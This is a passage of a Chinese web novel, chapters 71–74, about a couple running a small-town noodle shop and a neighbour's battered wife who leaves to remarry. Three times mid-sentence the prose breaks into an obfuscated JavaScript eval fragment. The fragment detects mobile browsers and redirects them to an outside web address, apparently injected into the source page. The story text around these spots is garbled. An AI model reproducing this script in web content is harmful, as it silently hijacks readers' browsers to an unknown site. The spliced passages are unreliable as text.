以前宁时秋一回家,肯定先把老师留的作业写完,同时监督妹妹也把作业写完,然后才会去跟朋友玩。 今天连他也完全忘了还有作业。 直到赵如月眼看着天越来越黑,两个孩子还想不起来吃饭,进他俩房间里,把他们逮出来,他们才意识到自己已经饿了。 “真好玩!”宁时夏吃着饭时,还意犹未尽地说,“我们明天还能收拾屋子吗?” 赵如月被她这话逗得忍俊不禁:“今晚开始,你们就住在自己的房间,不止明天,后天、大后天,你们想怎么收拾就怎么收拾。” 宁时秋惊讶道:“妈妈,我们搬家了吗?” “你们妈妈在回来的路上,没跟你们说?”宁绍明看向赵如月,他还以为她说了,两个孩子才这么高兴呢。 赵如月还真忘记说了,不过现在说也来得及:“从今天开始,我们就正式搬到新家,以前住的房子分家的时候,你们爷爷奶奶分给了你们二伯家,以后那就是你们二伯的房子了。” 她说完有些紧张地看着两个孩子的反应,担心他们对以前的房间有感情,会因此而难过。 可对于孩子来说,不管是新房子还是旧房子,只有父母在的房子才是他们的家,才会让他们有归属感。 两个孩子从家里开始建新房子起,早就做好了会搬家的心理准备。 听完她的话后,他们开心地欢呼起来。 赵如月看着他们开心的样子,知道自己的担心完全多余了。 吃完饭,宁时秋终于想起自己还有作业没写。 他一把拽住吃饱就要飞奔回房间,想继续捣鼓自己房间的妹妹:“先写作业。” 赵如月见状担心了一下,怕女儿生气,两个孩子闹起来。 结果女儿一点也没生气,乖乖地点头跟哥哥一起写作业去了。 因为要一起写作业,两个孩子没去他们自己的房间,一起去了书房。 但宁时秋一坐下来,把手放到桌子上,就感受到了这个书桌和椅子,很适合他们用。 有专门的书桌学习,跟趴在箱子上、椅子上或者家里的饭桌上写 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她吐了吐舌头说道:“我认真起来一定能写好,以后长得美美的、还要特别厉害,像电视里的女侠一样,刷刷刷一刀砍一个。” 她说完之后,竟然真的静下心来,一笔一画地认认真真起来。 赵如月悄悄瞄了一眼,女儿认真起来后,确实写得很好。 原来他们从小练字就那么认真了,怪不得长大后,几乎每个人见到他们写的字都夸好看。 赵如月低头,看向自己面上的账本。 孩子们自己就能把自己的学习顾好,她在这方面没经验,不给他们扯后腿就不错了,帮不上多少忙。 既然这样,她就在别的地方使使劲,尽量给他们创造好一点的环境吧。 赵如月把视线放回账本上。 第一天客人格外多,把她和宁绍明累得够呛,不过回报也很丰厚。 因为没有房租,水电也便宜到几乎可以忽略不计。 一天下来,扣掉成本,赚了三百出头。 这些钱放在城里可能不算什么,可是在他们这个物价不高的小镇,真的很可以了。 只是昨天是时机刚好,集日撞上学生返校。 今天就没那么多了,扣掉成本,只有一百多,差一点到两百。 之后不送煎蛋,这样普通的日子可能还会降一点。 但不出意外的话,每天应该也能有一百多。 这个收入,在镇上几乎是普通人收入的五到十倍! 单逢集日的日子,暂时还没遇上,赵如月认真又详细地把每天是什么日子都记录好,等以后记得多了,总结一下,就能预估每个月能赚多少。 不过每个月赚的钱也不是一成不变,现在是天气暖,但没有盛夏那么热,炒米粉和煮米粉比较好卖。 等到夏天,菜单就得变一变了。 赵如月思索着,把这一点写在了自己的备忘录上,晚点跟宁绍明商量一下。 他们得提前做好准备,不能等事到临头,生意被影响,才着急忙慌地去做改变。 71. 第 71 章 两个孩子终于有他们自己的房间。 之前一直想搬家后也要跟爸爸妈妈一起睡的宁时夏,也没再闹着要跟他们一起睡了。 洗完澡,根本不用人催,就爬上了自己的小床,开心地表示以后都要自己睡。 他们夫妻俩也终于有了些私人空间。 宁绍明洗完澡回到房间,赵如月就把整理好的账本给他看。 宁绍明看到账本上的利润也很高兴:“果然做生意比给人打工赚到的钱更多。” 坏处是要自负盈亏,但是也更自由,还能陪伴家人。 这让宁绍明更不后悔自己的选择。 他看完账本,赵如月把账本收起来放到床头柜的抽屉里。 接着跟他说起夏天新菜品的事:“听说夏天汤粉不太好卖,等天更热一点,我们要不要把汤粉停掉?” 天气太热,炒粉生意平日里可能也会有点影响。 好在目前镇上只有他们家卖,算是他们家店的特色之一。 集日和学生放假、返校的时候肯定是好卖的,所以影响不大。 热狗面包也是,这两个短期内不会有变动。 可他们两个精力有限,厨房更是几乎劝靠宁绍明一个人顶着。 增加夏天应季的新品,他们忙不过来,肯定要酌情减少旧品。 热狗面包和炒米粉不能动,就只能动煮米粉了。 宁绍明认真思考之后说:“停掉不太好,跟镇上的店一样,把煮粉的量减掉一半或者三分之二,换成凉拌粉或者别的。” 赵如月问:“你还会做别的吧?我们做些跟镇上其他店不一样的东西比较好。 镇上的凉拌粉好吃是好吃,但做法几乎都一个样,味道也是大差不差。” 大概做法其实很多人都会,就是花生油混猪油熬熟,加入鲜米粉中。 再加上酱油、白糖、花生米。唯一的区别就是最后加入的酸卤子。 酸卤子是每家店各自做的,味道会有细微的差别,做得不好的话,会很难吃。 但是镇上能站稳脚跟的店,做的酸卤子味道都不差。 以上是最基础版本的本地凉拌米粉,没有肉,也没有配菜。 优点是价格便宜,只要四毛钱一份。 升级版的五毛钱,可以加一勺肉末炒豆角的浇头。 还想再加肉或者菜,就要再另外花钱加了。 不过那是以前的价格,今年煮米粉涨价了。 凉拌粉估计也要涨一点。 “本地的凉拌米粉也做吧,不好卖再减少或者撤掉都行,我以前跟北方的同事学过凉面和凉皮的做法,可以各做一点让客人选,哪个卖得好,就向哪个倾斜,只是……” “只是什么?” “那样需要频繁调整菜单,我们的菜单就得总是换,每一样东西对应的编号也要换,我就得在这上面花更多时间去记住,是不是有点麻烦?客人也有可能懵圈。” 宁绍明的话,让赵如月想起自己上辈子见过的凉皮摊子。 那些凉皮摊子里,牌子上写的是某某凉皮,但是摊子上卖的不只是凉皮。 也有凉面、米粉可以选,还能双拼、三拼。 有些分得细致的摊子上,凉面甚至还粉细面和粗面,还有什么碱水面? 反正她分不太出来,只觉得都很好吃。 赵如月一想起来就把这个想法跟宁绍明说了:“这样卖的话,我们的菜单就不用总是改变了,只需要记住客人要单一的一种还是双拼、三拼。” “这个主意好,除了面可以选,我们还可以多准备几种米粉让客人选。 别说双拼、三拼,客人想每种要一点都行。 你明天去进货多进一些面粉和干米粉、干米线,凑够一辆小皮卡的量。 我联系好之前给我们拉钢筋来的司机兄弟了,他说要是能装满一车,到县城直接联系他去接。 他可以开车带着你各个店去拿货,省得你去了县城还要坐公交车到处跑。” 赵如月也觉得这样很省心,高兴地说道:“那我明天可得多买点,把车子塞满,幸好昨天客人不多,要不然家里剩下的存货,可不够明天用了。” 宁绍明说:“其实干米线已经不够了,没想到镇上的人最喜欢的竟然是炒米线。” 这还挺出乎宁绍明意料,他一直觉得镇上的人更喜欢新鲜现做的鲜米粉。 “也许是我们这里的鲜米粉比较厚不如细细的米线入味?” 他们买的干米线是粤省专门用来炒的米线很细。 炒着容易入味,既好炒熟又有点韧劲,不容易断,吃着也不会软趴趴的,口感非常好。 以前本地人不知道这种米线是专门用来炒着吃比较合适。 买回来几乎都是煮着吃,以为跟干米粉一样,结果掌握不好火候,就容易煮过头。 煮好要么一夹就断,要么就煮得米线全溶到汤里了,夹都夹不起来。 后来买的人就渐渐少了,他们去进货的时候,价格非常低。 他们觉得这么便宜,自己真是赚到了。 老板估计也觉得他们买那么多自己的积压货,是遇上不懂的冤大头了。 招待他们的时候脸差点没笑烂。 宁绍明有些遗憾地说:“我听酒店里桂省来的同事说,他们那里有比较薄比较细的鲜米粉,每次听他们形容都把周围一圈人馋得不行,可惜地域性太强,出不了省,要不我们还能买点来试试。” 说到桂省,赵如月第一时间想到螺蛳粉和老友粉。 可这两样离开本地,不是本地人做也不一定对味。 而且现在这两种粉也不如以后有名,他们这里的本地人不一定愿意尝试,想想还是算了。 两个人商量好夏季要新增的菜品。 又商量着增加了明天要采购的食材数量才各自睡去。 赵如月第二天早晨跟前两天一样,起得很早。 她帮着宁绍明把开门前要准备的东西准好。 又忙完早上客人吃早饭的高峰期。 等到店里没什么人,才背着包带上钱,去客运站坐公交车去县城。 到了县城,她直接在县城的汽车客运总站下车。 在这里不管是买电话卡,还是找公用电话都比别的地方方便很多。 价格也跟别的地方没差别。 赵如月先去买了电话卡,然后直接在卖电话卡的小卖部打电话。 她联系好司机,就坐在小卖部里等司机开车过来。 刚好现在小卖部也不忙,只有一个老板娘百无聊赖地看店,有人来能跟她聊天她很高兴,聊天的兴致很浓。 两人就这么聊起来了。 小卖部的老板娘听说赵如月是榕溪镇的人。 一脸惊喜地说:“榕旺屯是你们榕溪镇的一个村屯吧?” 一个县城的人知道这个不奇怪,赵如月点头说:“对,榕旺屯离镇上很近,从榕旺屯走到我们镇上的集市也就二十分钟的路程。” “没想到那么近!我老家的村子离我们镇上走路都要一个小时,以前还小的时候,跟大人去赶集,走得腿都发颤,幸好现在我嫁到县城,家里条件不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14910248|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错,也有摩托车开回去了,要不我都不想回娘家。” 小卖部老板娘回忆了好一会儿小时候。 说爽了才把话题转回来:“你是娘家在榕溪镇还是婆家?” 赵如月说:“我娘家和婆家都在镇上。” “那挺好,嫁得近不容易受欺负,我以前可羡慕镇上的小孩了,不过可惜了,你长得这么漂亮,如果你当初愿意想嫁到县城,肯定也能找个好的嫁。” 听到这话,赵如月只是笑笑,没接茬。 嫁人这种事谁能说得清呢? 有可能会嫁得好,也有可能很差。 假设起来没有任何意义,没有必要去美化自己没选择的路。 不过小卖部老板娘想说的也不是这个。 她也只是这么一说。 现在谈性起来了,没得到回答,也依然能自己继续说下去: “你们榕溪镇美女是真多,我今天一天之内遇到的两个全都是美女,一个是你,另一个就是我刚刚提起的榕旺屯。” “那可真是太巧了。” “是啊,”她兴奋地继续说,“那个榕旺屯的美女,年纪跟你差不多,皮肤跟你一样白,只是脸色没你那么红润健康,看起来有些胆小畏缩,没你大方爽利。 不知道是不是被她男人打才变成那样的。 我看到她脸上有些青紫,问她又说不是,我跟她也不熟,就没继续问。 她嘴边有一颗小痣,往常老人说女人长这种痣不好,那是馋痣,女人长了这种事就是天生嘴馋,可那痣长在她脸上是真好看! 对了,她的头发也跟你的一样,有点微卷,不过她的头发有点发黄,没你的头发黑,乍一看,跟个小洋妞似的。 我以为她头发烫染过,还问她在哪里做的头发,结果她说是自然卷,你这头发不会也是自然卷吧?” 赵如月也有点惊讶:“太巧了,我的头发还真的也是自然卷。” 小卖部老板娘一拍大腿,用夸张的语调大声说: “哎呀!那可确实是太巧了,可惜那个美女着急跟着她老公去大城市打工,我没来记得问她的名字,要不然还能跟你说说,没准你们还真认识呢,保不齐是姐妹都有可能。” 以前老一辈粮食少,生的孩子又多,送走孩子这种事不算什么稀奇事。 而且也不是所有人都送得远远的,有人就直接送给亲戚,两家也不会断绝来往。 赵如月笑了笑说:“还真不可能,我爸妈没送走过孩子。” 赵如月说完,回忆起小卖部老板娘那些话,不由陷入了沉思。 她总觉得小卖部老板娘形容的那个人,有种熟悉感。 很像一个她认识的人——住在宁家老宅对面的赵鸿利的老婆冬兰。 可她前几天还听到赵鸿利的大嫂抱怨,冬兰她娘家妈又生病了。 冬兰跟以前一样,回娘家照顾了几天,又把孩子托付给赵鸿利的大嫂帮忙带。 而赵鸿利依然成天在家里喝得醉醺醺。 之前那么多人跟着黄文发去鹏城,赵鸿利的大哥也劝他跟着去找点事干。 然而不管怎么劝,赵鸿利仍旧是烂泥扶不上墙。 后来他大哥甚至上手打了,赵鸿利也不愿意去,最后赵鸿利他大哥只能作罢。 也没听说他近期遇上什么可以改变思想的大事,真能在段时间内改了性子,带冬兰去打工? 可小卖部老板娘的描述,真的太像冬兰了。 两人正说着,赵如月突然听到一声喇叭响。 抬头一看,是司机开着车到了。 72. 第 72 章 赵如月站起身拍了拍裤子:“姐,我还得去进货,先忙去了,有空再来找你唠嗑。” 小卖部老板娘说得正高兴,她觉得自己跟这个美女挺聊得来的,虽然她们甚至没互通姓名。 她被打断了还感觉有点遗憾,可也不能耽误别人的事。 只能应道:“诶诶,好好好,你有空一定要再来找我聊天啊! 这是我用自己家房子开的店,会一直开着,不会倒闭的,我就在这里看店,你什么时候来都能见到我。” 赵如月也‘好好好’地点头应下。 但是她这次要拉一车货回去屯着,下次什么时候来县城,她也不知道,更别说再来这家店。 下一次估计遥遥无期,这老板娘估计都不一定还记得她。 上了车,赵如月跟司机寒暄几句,司机就开车了。 车子缓缓往客运站出口驶去。 然而县城客运站的出入口比较小,只能容纳比较小的车子进出会车。 要是有长途大客车进出,另一个方向的车子就要在旁边停下,等大客车开走,才能过。 他们出来的时候很不凑巧,正好有一个大客车从外面进来。 他们这些从里面出去的车子数量又多,只能全都往旁边靠一靠。 司机把车子靠在一个下乡的小巴车旁边。 赵如月百无聊赖地做看看又看看,没想到竟然在那辆下乡小巴车上看到了一个熟悉的人。 赵鸿利的妻子——冬兰。 微黄微卷的头发,嘴边有一颗痣,皮肤很白,跟小卖部老板娘描述的一样,确实是她。 只是她脸色苍白,衬得她脸上的青紫特别明显。 赵如月本以为她有可能是被迫或者被骗走的。 可是当她转过脸来,看向远处,赵如月在她的脸上,看到了很明显的、略显羞涩的笑意。 看起来并不是被迫,那么她知道自己在做什么吗?还是被人骗了? 她身边的男人不是她的丈夫赵鸿利。 而她坐在下乡的客车上,并不是前往大城市的客车。 那辆车的车头上贴着的字,写的最终站点,也是本市的一个乡镇,那个乡镇离榕溪镇特别远,可并不是外地大城市。 看来冬兰只是随便找了个借口敷衍小卖部老板娘的好奇心。 更让赵如月差异的是,冬兰身边还跟着她的小女儿赵思葵。 不过她的大女儿赵思莲没在。 这不禁让赵如月猜测,难道她跟赵鸿利私下离婚了? 赵鸿利那种思想传统、大男子主义又爱面子的男人会愿意离婚? 两人各自抚养一个孩子? 看向远处的冬兰收回视线,注意到坐在小皮卡上的赵如月。 她神色变得慌张起来,同时眼中带上祈求。 赵如月无法判断她是想求自己救她,还是求自己当做看不到,回去别跟人说。 赵如月想了想,从包里拿出笔和写进货单的本子。 翻到空白页,写下几个字:你遇到了骗子? 冬兰摇头,她也想找纸笔,可她没带。 正着急该怎么办,忽然看到对面的赵如月在玻璃上哈了一口气,又在起雾的车窗上划了一下。 冬兰急忙也往面前的玻璃上哈气。 哈一口气写一个字:这、是、我、新、丈、夫、我、跟、他、领、证、了、赵、没、有、领。 看到这里赵如月明白了,这事自己没有管的立场。 即使她是赵鸿利的同族堂姐,也管不了这个。 赵如月心里十分震惊,她今天才知道,赵鸿利跟冬兰两人连两个孩子都生了,竟然没领证。 也许他们两个算那什么事实婚姻? 可冬兰却又跟现在这个男人领证了。 现在他们两个人在法律上是夫妻。 这种事赵如月没见过,也不太懂。 遇上这种情况,事实婚姻还算数吗? 冬兰这样到底算是谁的妻子? 两人沉默了一会儿。 赵如月在纸上写下最后一句:我今天什么也没看到。 车上的司机趁着等待的功夫,下车买烟了。 他再上来的时候,前面大客车已经开进客运站。 那辆下乡的小巴车已经开走,被他们这辆车堵在后面的车子正在按喇叭。 司机连刚买的烟都没来得及拆开,把烟往口袋里一塞,急忙启动车子开走。 赵如月买好东西回到家,跟宁绍明还有司机一起,把东西卸进家里被当做仓库用的小房间。 宁绍明归置好货,给司机结了钱。 本来还想留司机吃晚饭,但司机家里有事,看起来并不是客气推辞,宁绍明就没又继续劝。 他抓紧时间迅速做了一份炒米粉,给司机打包带上,司机提着炒米粉就匆匆离开了。 这时候店里没客人,也还没到孩子们放学的时间。 店里只有赵如月和宁绍明两个人。 赵如月担心晚上吃不下饭,就没吃米粉,而是端着一碗羊杂汤慢慢地喝着。 宁绍明在她身边坐下,跟赵如月说今天店里的生意还不错:“今天是最后一天送煎蛋,客人还比昨天多了。” 赵如月懊恼道:“早知道我该动作快点,早点赶回来帮你。” 宁绍明说了让她意外的事:“大嫂路过店门口,看我太忙进来帮忙干了半天活。” “太阳打西边出来了?无缘无故的,大嫂竟然会来帮忙。”赵如月说着,还真往窗外看了一眼。 这会儿是下午,太阳已经渐渐偏西了,显然,今天太阳并没有从西边升起。 而王海燕也不是无缘无故好心来帮忙。 宁绍明也很无奈:“我大哥昨天晚上打电话回来,说明天早上到家。” “不是说他在那边干得挺好?怎么突然就要回来?” “具体的我也不知道,大嫂说我大哥在电话里没细说,好想不太愿意说,她想让我等我大哥回来,跟他好好聊聊,问问到底怎么回事。” “那小春也一起回来吗?” “我大哥说也带着小春一起回。” 赵如月道:“那等他们回来再问问吧,小春跟你感情好,就算大哥不说,你也可以私下问问小春到底怎么回事。” 两人都猜不到宁绍贤再那边到底遇到了什么事,只能暂时把这个话题中止,转而聊别的事。 聊着聊着,赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916137|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如月就跟宁绍明说起了自己在县城客运站遇到冬兰的事。 宁绍明第一反应是紧张地劝她:“你可别掺和这事。 人家两口子的事,别说你只是同族的堂姐,就算是亲堂姐也管不了,没得到时候给自己惹一身腥。 赵鸿利那个人不喝酒的时候看着貌似是挺好,可酒品见人品,你要把这事告诉他,他当面可能不会表现出什么,心里没准回怨你为什么不当场帮他把老婆带回来。” 赵如月说:“我明白,我肯定不会管他的事,毕竟我又不是他亲姐,这事我们就当不知道吧。” 虽然赵如月决定了不会说,但她也免不了比以前对赵鸿利家的消息更关注了些。 然而冬兰走了好几天,赵鸿利依然每天喝酒喝得醉醺醺。 老婆那么多天没回家,他竟然一点也不着急。 别人问起来,他倒是还有脸指责冬兰不负责。 说冬兰不像样,当老婆、当孩子妈都不合格。 怨冬兰总爱往娘家跑,还说等她回来,非得收拾她一顿。 也就是现在不是那么忙,又对赵鸿利家关注多了点。 赵如月才知道,冬兰之前回过一次家。 时间就是赵如月在客运站遇到她的前两天。 只是之前赵如月忙着店里的生意,又忙着搬家的事。 没时间回老宅那边跟邻居唠嗑,才不知道这件事。 估计冬兰就是那时候被赵鸿利打了。 赵鸿利到家的事,赵如月这次也是在集上遇到赵鸿利的大嫂带着冬兰的大女儿买肉,听赵鸿利大嫂说的。 他大嫂说:“冬兰之前回来,说她妈病得太重,要见见两个外孙女,就回来想带两个女儿一起去她娘家一趟,探望她们外婆。 可赵鸿利那缺德玩意儿死活不愿意,让她带孩子回去。 你知道他说什么不?他竟然说冬兰和两个孩子都走了,家里家务活就没人干了。 你说说,哪个当爸爸的当成他这样? 家里的活竟然让一个八岁一个三岁的孩子来干! 冬兰求了半天,他也不松口。 就是死活不许她带孩子回娘家。 冬兰晚上想趁他睡着了,悄悄把孩子带走,可惜被他发现了,他就把冬兰打了一顿! 幸好我们听到动静赶过去了! 你不知道,他打人那架势,好想冬兰不是他老婆而是杀了他全家的仇人一样! 我还以为他以前喝醉了神志不清,打人才那么没有分寸,谁知道他没醉酒打人也往死里打! 后来冬兰又求他,说只带小的回去,好歹让老人临终前见到一个。 他觉得小的在家干不了什么活,还要人照顾,这才同意了。” 赵如月听完久久不能平静,她有点庆幸,自己没跟赵鸿利说在县城见到冬兰的事。 甚至在心里的隐蔽之处,有个想法:幸好冬兰是离开了,而不是被打死了。 附近的村子里,有人到处说自己老婆跟人跑了。 结果他老婆是被那个人自己埋了的事,又不是没发生过。 赵鸿利那个样子,冬兰如果不跑,万一真被打死,或者打得身体器官受损、甚至残疾怎么办? 73. 第 72 章 赵如月数着日子,想看看赵鸿利到底什么时候,才发现他没老婆了。 这日子数着数着。 宁绍贤和宁时春回来了。 他们回来后,宁绍贤不知道怎么回事,一回家就躲着不愿意见人。 宁绍明去找他好几次,也见不到人。 只好去问大侄子。 可宁时春也说自己不知道:“三叔,我要是真知道什么,肯定不会不告诉你。 说实话,我自己也很懵,我爸突然就非要回来,之前一点征兆都没有。 我当时怎么劝也劝不了,我在酒店干得好好的,是真不想回来,我一个月挣……” 他顿了一下,左右看看,确认没人仍然压低了声音才继续说:“我跟文发叔他们一起在后厨干活,一个月能挣一千快钱! 三叔我没跟我妈说我一个月能挣那么多,只说还是学徒,在师傅手底下打杂、学手艺一个月工资只有五百。 要再学几个月才能转正。 一个月一千块钱啊!这么多钱,我以前想都不敢想。 而且经理和厨师长都夸我干得好,夸过好几次!我真喜欢那个酒店。” 宁时春心里真的非常郁闷:“我爸那么着急回来,我都没来得及正经递交辞职申请,也没来得及跟领导们解释,就这么着急忙慌地走了。 以后要是还能遇见他们,我都没脸跟他们打招呼。 还有……我的工资压一个月,不知道还能不能拿到了。” 宁绍明实在问不出来什么,只好作罢。 回家之前安慰宁时春:“你别担心,酒店那边制度挺完善的,你给酒店打个电话,说明一下自己情况,再跟那边说你爸情况不太对劲,酒店不会不会太计较,那一个月的工资现在压着,下个月发工资的时候也会给你,只是可能会被扣一点。” 他的安慰有点效果。 宁时春总算没有再苦着脸,一副想哭的样子:“被扣一点就被扣一点吧,总比一份不给要好多了。 我等会儿就去小卖部打电话。” “家里不是有电话,在家里打不就好了?”宁绍明问。 家里的电话,因为是装在大哥大嫂的房间里。 为了避嫌,宁绍明用得比较少。 只有他一个人的话,他是不会进去打电话的,以前都是跟赵如月一起进去。 他们分家又搬到新家后,他用得更少了。 可宁时春是大哥大嫂的儿子,不存在这种问题。 这一问,宁时春又露出一脸无奈的表情:“我爸进去后就不开门,我妈现在想进去睡觉,或者拿换洗的衣服都进不去。 她每天放在房间门口的饭菜,我爸倒是一顿不落地背着人悄悄吃光了。” 宁绍明听了也不知道该说什么了。 外人不见就算了,怎么对儿子老婆也这样? 他现在是真要看不起这个大哥了。 “那就别管他,去小卖部打电话吧,要是不让人知道,就去县城再打。” 宁绍明从老宅无功而返。 王海燕最开始的几天,还会来店里帮帮忙,顺便想叫宁绍明在多去几次,多劝劝他大哥。 宁绍明本来不想管,后来他爸来了,也让他再去几次。 他爸给他带孩子很用心,对两个孩子也好,宁绍明不能不给他爸面子。 只好又去,可不管去几次,依然没用。 他最后一次去的时候,宁绍贤还说了一些酸话。 大意就是让宁绍明别得意,别以为开了一家小破店,当了老板就以为自己有多了不起,一个乡镇小店而已,嚣张什么! 他是哥哥,还轮不到一个弟弟来管诸如此类的话。 宁绍贤说那些话的时候,宁达当时也在场,后来就再也没叫宁绍明去了。 他自己也没再管这不知好歹的大儿子。 直到十来天过去,对门赵鸿利终于觉得有点不对劲。 因为距离冬兰带小女儿回娘家已经过去二十几天,快一个月了,竟然还没回家。 这是以往从来没有过的事。 家里还有孩子,冬兰不会为了照顾亲妈就忽略孩子那么久。 她每次去只回去几天,最多一个星期就会回家,照顾一下孩子,收拾收拾家里。 毕竟赵鸿利的大嫂也有她自己的孩子要照顾,有她自己家的事要忙,她不能一直让大嫂帮忙照顾孩子。 而赵鸿利在冬兰母亲生病、病重时都没去探望过一次。 这次终于舍得放下他的酒杯,去一趟冬兰的娘家找她。 只是赵鸿利去的这一趟,是竖着走去,横着被抬回来的。 赵鸿利看起来浑身的青紫伤痕,眼睛都被打出了两个还眼圈,但说话依然中气十足。 他一回来就嚷嚷着、咒骂着:“贼娘养的!那个老虔婆竟然让一个女儿嫁两家!真特么不是东西,怪不得死得早!活该她早死!” 一个劲地叫嚣着要找人去榕旺屯找冬兰娘家人的麻烦。 可见人家貌似还不如他打冬兰打得厉害,才让他还有精力这么大喊大叫。 赵鸿利叫嚷的声音,让关门关窗正躲在房间里埋头吃饭的宁绍贤都听到了。 一直待在家里自闭的宁绍贤,一听到那些话。 又听见王海燕在家里跟儿子嘀咕着说住对门的赵鸿利出了事,好像是老婆跟人跑了。 为了不错过热闹,宁绍贤终于愿意出门了。 王海燕本来都跑到门口看热闹了。 她一转身,发现宁绍贤也跑了出来,这下连热闹也顾不上看了。 急忙转身回屋,把房间的门窗全锁上。 锁门的钥匙也藏了起来,势必不让宁绍贤再缩回房间里当缩头乌龟。 赵如月得到消息跑来看的时候,赵鸿利他大哥得到别人的报信,也从地里赶回来了。 一见到赵鸿利被打成这样,他大哥顿时气红了眼:“做出那样的事,他们竟然还敢打你!我找他们算账去!” 他立刻挨家挨户地去找同族的兄弟。 回来后,又去找平时跟他家处得比较好的邻居家的男人。 请他们一起去帮自己弟弟找回场子。 如果是赵鸿利自己去情人,别人不一定乐意帮忙。 毕竟他酒品是真的很烂,人品也不太行。 又爱自己窝在家里喝酒,不常经营人际关系,只爱跟自己的几个酒友熟络来往。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922050|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 平时跟邻里和同族打交道比较多的,是他大哥。 他大哥平时在外面比他会做人,大多数人都是给他大哥面子。 宁绍贤也是被请去的人之一。 赵鸿利他大哥问到他的时候,宁绍贤一脸兴奋地表示一定会去帮忙。 赵如月见状很庆幸自己全家人搬到新家去了。 要不他肯定也要叫宁绍明一起去。 老婆跑了这种事情,跟之前她大姐夫家堂弟买回来的媳妇家人找来还不一样。 那种事,明显是人口拐卖,涉嫌犯罪的,邻居们都不想沾上。 可老婆跟人跑了这种事,男人太会共情。 在这种事上还尤其团结,根本不会去深究她到底为什么会跑。 只会说不管受到什么委屈,她跑了,她就不是个好女人。 要是宁绍明不愿意去,或者去了不愿意出力,肯定会被所有去的男人指责。 所以这事她们家最好一点也别沾上。 好在赵鸿利他大哥没想起来要去找宁绍明。 只是赵如月的亲哥和几个亲堂兄弟都被叫到了。 他们不知道内情,全都群情激奋地跟着一起去。 赵如月也不能这时候上去拦着,只好也跟着一起去。 到了地方,好歹能趁着人多混乱,把自己的娘家兄弟们拉到后面。 不让他们傻呵呵地冲在前面。 一起去的人里,男人女人都有。 男人是主力,女人则是防着对方那边派女人和老太太出来耍赖。 到时候男人不好出手,要是哪个男人不小心打到了女人,能被对面揪着这一点不放,到处传他们那地方的男人打女人,这种时候就得派女人上。 赵如月混在里面不算突兀。 一行人到了冬兰娘家附近,赵如月假装扭到了脚,直喊疼。 她哥哥和堂兄弟们看她疼得那么厉害,都担心地围到她身边。 然后七嘴八舌地讨论起要不要先送她去医院,以及要派谁送去。 渐渐地,他们就落到了最后面,连最前面的对话都听不太清了。 只知道对面请了榕旺屯上了年纪,辈分比较高的老人,还有在本地有些声望的人来。 赵如月见自家人没冲在前面,稍稍放心了些。 说道:“来都来了,总不能就这样→转头回去,我们在这里看看情况再说?他们好像吵起来了,也不知道说的什么。” 一个比较灵活的堂弟钻到前面听,然后又钻回来传话。 “对面的人嘴皮子真利索,他们在说结婚证的事呢。” 赵如月的大哥问:“什么结婚证?” 他一头雾水,不是要为了赵鸿利老婆跟人跑的事来讨个公道吗? 怎么说起结婚证了? 那个堂弟继续说道:“我听对面的人说,鸿利哥和冬兰嫂子没领证,不算夫妻。” 听到这话,赵如月她哥和其他堂兄弟们都沉默了。 半晌,有个堂哥憋出来一句话:“好像,没领证确实不是夫妻哈?” 赵如月没吭声,她猜她的兄弟们比她还要法盲。 八成根本不知道还有事实婚姻这个概念。 74. 第 74 章 跟着来的一行人听到冬兰娘家人的辩解,一个个都懵了。 这些来的人里,有不少跟赵鸿利和冬兰一样,只办了喜酒,没领结婚证。 他们从来没听说过不领证就不算夫妻。 他们周边很多人也这样,从来没人想过这个问题。 个个都在心里打鼓,想着回去要不把结婚证给补上。 可不能跟赵鸿利似的,老婆跑了想找回来都名不正言不顺。 而冬兰娘家人咬死了这一点,不愿意承认赵鸿利是他们家女婿。 “赵鸿利跟我家冬兰没领证,那法律就不认他们是夫妻,你们要不服,就让赵鸿利上法院告我们去!” 上法院这种事,离他们这样的普通人太远。 远得像是只会在电视离才会存在的东西。 村里有什么事,不涉及犯罪,几乎全是村里的干部调解。 冬兰的娘家人也是知道这一点,才敢这么说。 他们赌赵鸿利不敢去告他们。 被抬着跟来的赵鸿利心里确实有点发怵。 可他又觉得不服:“当初你们家收了我不少彩礼,有那么多人证,你们总不能耍赖吧!” “不就一两千块钱嘛,”冬兰的一个哥哥吊儿郎当的说,“谁稀罕你那点臭钱,我们现在就还你!” “我呸!现在说看不上,现在的一两千快钱,能跟以前的一两千块钱比?除了钱,还有三转一响呢!” 赵鸿利也不傻,他要求冬兰娘家人把钱按照现在的物价,把钱给他。 当初说亲时送的礼,也要求折成钱一起还。 赵鸿利那些话说得太快,他大哥想拦都反应不及。 气得很想也甩赵鸿利一耳光。 他们来的目的,本来是想帮他找回媳妇儿。 这傻缺,让人家激得忘了初衷,竟然拐到要钱上面去了! 要这点钱有什么用? 